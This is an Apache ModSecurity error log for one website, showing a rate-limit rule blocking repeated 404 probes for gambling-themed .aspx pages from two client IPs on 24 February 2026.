[Tue Feb 24 03:11:32.780823 2026] [:error] [pid 29424:tid 29437] [client 54.37.86.223:47450] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZymZPgElGDq6B8YX7CHLgAAAMs"]
[Tue Feb 24 06:36:44.717651 2026] [:error] [pid 37539:tid 37577] [client 145.239.69.153:39858] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZzWfHEnr46jUQep9z_WwQAAAEI"]
[Tue Feb 24 06:36:47.031475 2026] [:error] [pid 37538:tid 37555] [client 145.239.69.153:45292] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZzWfyynTiHZ9J0Y2nZrZAAAAAc"]
[Tue Feb 24 06:36:49.548880 2026] [:error] [pid 37540:tid 37605] [client 145.239.69.153:45294] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZzWgSahRAUBJS8hpJVudAAAAIM"]
[Tue Feb 24 06:36:52.104497 2026] [:error] [pid 37644:tid 37651] [client 145.239.69.153:45456] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZzWhELaEhVDwBRydH1fVwAAAMU"]
[Tue Feb 24 06:36:54.451559 2026] [:error] [pid 37644:tid 37660] [client 145.239.69.153:45460] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZzWhkLaEhVDwBRydH1fbwAAAM4"]
[Tue Feb 24 06:36:56.830181 2026] [:error] [pid 11672:tid 11696] [client 145.239.69.153:45462] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZzWiPa0fhnmfPYq92u0FAAAARY"]
[Tue Feb 24 06:36:59.233827 2026] [:error] [pid 37644:tid 37660] [client 145.239.69.153:45470] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZzWi0LaEhVDwBRydH1fgAAAAM4"]
[Tue Feb 24 06:37:01.769836 2026] [:error] [pid 37538:tid 37563] [client 145.239.69.153:39414] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZzWjSynTiHZ9J0Y2nZrhQAAAA8"]
[Tue Feb 24 06:37:04.202253 2026] [:error] [pid 37538:tid 37551] [client 145.239.69.153:39430] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZzWkCynTiHZ9J0Y2nZriwAAAAM"]
[Tue Feb 24 06:37:06.700871 2026] [:error] [pid 37644:tid 37658] [client 145.239.69.153:39444] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZzWkkLaEhVDwBRydH1fiwAAAMw"]
[Tue Feb 24 06:37:09.152822 2026] [:error] [pid 37539:tid 37584] [client 145.239.69.153:39452] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZzWlXEnr46jUQep9z_W6gAAAEk"]
[Tue Feb 24 06:37:11.529139 2026] [:error] [pid 37539:tid 37599] [client 145.239.69.153:58904] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZzWl3Enr46jUQep9z_W8AAAAFg"]
[Tue Feb 24 06:37:14.015251 2026] [:error] [pid 37644:tid 37660] [client 145.239.69.153:58914] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZzWmkLaEhVDwBRydH1fngAAAM4"]
[Tue Feb 24 06:37:16.639950 2026] [:error] [pid 11672:tid 11693] [client 145.239.69.153:58916] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZzWnPa0fhnmfPYq92u0MgAAARM"]
[Tue Feb 24 06:37:19.142990 2026] [:error] [pid 37644:tid 37651] [client 145.239.69.153:58924] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZzWn0LaEhVDwBRydH1fqgAAAMU"]
[Tue Feb 24 06:37:21.607375 2026] [:error] [pid 37644:tid 37669] [client 145.239.69.153:40440] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZzWoULaEhVDwBRydH1fuQAAANc"]
[Tue Feb 24 06:37:24.082975 2026] [:error] [pid 37644:tid 37659] [client 145.239.69.153:40450] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZzWpELaEhVDwBRydH1fwAAAAM0"]
[Tue Feb 24 06:37:26.658688 2026] [:error] [pid 11672:tid 11679] [client 145.239.69.153:40460] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZzWpva0fhnmfPYq92u0QgAAAQU"]
[Tue Feb 24 06:37:29.226487 2026] [:error] [pid 11672:tid 11682] [client 145.239.69.153:40476] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZzWqfa0fhnmfPYq92u0SwAAAQg"]
[Tue Feb 24 06:37:31.817185 2026] [:error] [pid 37644:tid 37654] [client 145.239.69.153:44824] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZzWq0LaEhVDwBRydH1fygAAAMg"]
[Tue Feb 24 06:37:34.408494 2026] [:error] [pid 37644:tid 37650] [client 145.239.69.153:44832] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZzWrkLaEhVDwBRydH1f0QAAAMQ"]
[Tue Feb 24 06:37:36.948881 2026] [:error] [pid 37539:tid 37580] [client 145.239.69.153:44834] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZzWsHEnr46jUQep9z_W-wAAAEU"]
[Tue Feb 24 06:37:39.636498 2026] [:error] [pid 37644:tid 37660] [client 145.239.69.153:44840] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZzWs0LaEhVDwBRydH1f1gAAAM4"]
[Tue Feb 24 06:37:42.062358 2026] [:error] [pid 37644:tid 37656] [client 145.239.69.153:56246] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZzWtkLaEhVDwBRydH1f3AAAAMo"]
[Tue Feb 24 06:38:03.787288 2026] [:error] [pid 37644:tid 37650] [client 145.239.69.153:56256] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZzWy0LaEhVDwBRydH1gEwAAAMQ"]
[Tue Feb 24 06:38:06.173101 2026] [:error] [pid 37540:tid 37605] [client 145.239.69.153:49670] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZzWziahRAUBJS8hpJVu3QAAAIM"]
[Tue Feb 24 06:38:08.804142 2026] [:error] [pid 37538:tid 37556] [client 145.239.69.153:49680] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZzW0CynTiHZ9J0Y2nZrrAAAAAg"]
[Tue Feb 24 06:38:11.398954 2026] [:error] [pid 11672:tid 11689] [client 145.239.69.153:43624] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZzW0_a0fhnmfPYq92u0rgAAAQ8"]
[Tue Feb 24 06:38:14.162503 2026] [:error] [pid 37644:tid 37669] [client 145.239.69.153:43630] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZzW1kLaEhVDwBRydH1gLQAAANc"]
[Tue Feb 24 06:38:16.529464 2026] [:error] [pid 11672:tid 11688] [client 145.239.69.153:43642] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZzW2Pa0fhnmfPYq92u0uAAAAQ4"]
[Tue Feb 24 06:38:19.033805 2026] [:error] [pid 37644:tid 37659] [client 145.239.69.153:43650] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZzW20LaEhVDwBRydH1gPwAAAM0"]
[Tue Feb 24 06:38:21.378004 2026] [:error] [pid 37644:tid 37670] [client 145.239.69.153:60112] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZzW3ULaEhVDwBRydH1gTAAAANg"]
[Tue Feb 24 06:38:23.823848 2026] [:error] [pid 37644:tid 37659] [client 145.239.69.153:60128] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZzW30LaEhVDwBRydH1gVwAAAM0"]
[Tue Feb 24 06:38:26.233726 2026] [:error] [pid 37539:tid 37591] [client 145.239.69.153:60132] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZzW4nEnr46jUQep9z_XOwAAAFA"]
[Tue Feb 24 06:38:28.883592 2026] [:error] [pid 11672:tid 11678] [client 145.239.69.153:60148] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZzW5Pa0fhnmfPYq92u0ywAAAQQ"]
[Tue Feb 24 06:38:31.350399 2026] [:error] [pid 11672:tid 11677] [client 145.239.69.153:55908] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZzW5_a0fhnmfPYq92u01QAAAQM"]
[Tue Feb 24 06:38:33.760648 2026] [:error] [pid 11672:tid 11698] [client 145.239.69.153:55910] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZzW6fa0fhnmfPYq92u03QAAARg"]
[Tue Feb 24 06:38:36.098587 2026] [:error] [pid 37644:tid 37666] [client 145.239.69.153:55924] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZzW7ELaEhVDwBRydH1gbQAAANQ"]
[Tue Feb 24 06:38:38.610127 2026] [:error] [pid 11672:tid 11698] [client 145.239.69.153:55936] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZzW7va0fhnmfPYq92u05gAAARg"]
[Tue Feb 24 06:38:41.124025 2026] [:error] [pid 37644:tid 37652] [client 145.239.69.153:33354] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZzW8ULaEhVDwBRydH1ggAAAAMY"]
[Tue Feb 24 06:38:43.484776 2026] [:error] [pid 37538:tid 37561] [client 145.239.69.153:33370] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZzW8yynTiHZ9J0Y2nZruQAAAA0"]
[Tue Feb 24 06:38:45.911882 2026] [:error] [pid 11672:tid 11685] [client 145.239.69.153:33386] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZzW9fa0fhnmfPYq92u0_wAAAQs"]
[Tue Feb 24 06:38:48.622737 2026] [:error] [pid 37538:tid 37555] [client 145.239.69.153:33396] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZzW-CynTiHZ9J0Y2nZrwAAAAAc"]
[Tue Feb 24 06:38:51.045642 2026] [:error] [pid 37540:tid 37618] [client 145.239.69.153:55472] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZzW-yahRAUBJS8hpJVvCgAAAJA"]
[Tue Feb 24 06:38:53.634274 2026] [:error] [pid 37540:tid 37608] [client 145.239.69.153:55486] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZzW_SahRAUBJS8hpJVvDgAAAIY"]
[Tue Feb 24 06:38:56.057278 2026] [:error] [pid 37540:tid 37626] [client 145.239.69.153:55490] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZzXACahRAUBJS8hpJVvEgAAAJg"]
[Tue Feb 24 06:38:58.447341 2026] [:error] [pid 37644:tid 37659] [client 145.239.69.153:55506] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZzXAkLaEhVDwBRydH1gmAAAAM0"]
[Tue Feb 24 06:39:00.978506 2026] [:error] [pid 37540:tid 37614] [client 145.239.69.153:48368] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZzXBCahRAUBJS8hpJVvGgAAAIw"]
[Tue Feb 24 06:39:22.721247 2026] [:error] [pid 37644:tid 37650] [client 145.239.69.153:48378] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZzXGkLaEhVDwBRydH1gwgAAAMQ"]
[Tue Feb 24 06:39:25.057646 2026] [:error] [pid 11672:tid 11678] [client 145.239.69.153:34630] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZzXHfa0fhnmfPYq92u1JAAAAQQ"]
[Tue Feb 24 06:39:27.783974 2026] [:error] [pid 37539:tid 37579] [client 145.239.69.153:34646] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZzXH3Enr46jUQep9z_XdgAAAEQ"]
[Tue Feb 24 06:39:30.175138 2026] [:error] [pid 37644:tid 37653] [client 145.239.69.153:34658] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZzXIkLaEhVDwBRydH1hCQAAAMc"]
[Tue Feb 24 06:39:32.678137 2026] [:error] [pid 37644:tid 37650] [client 145.239.69.153:50914] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZzXJELaEhVDwBRydH1hEgAAAMQ"]
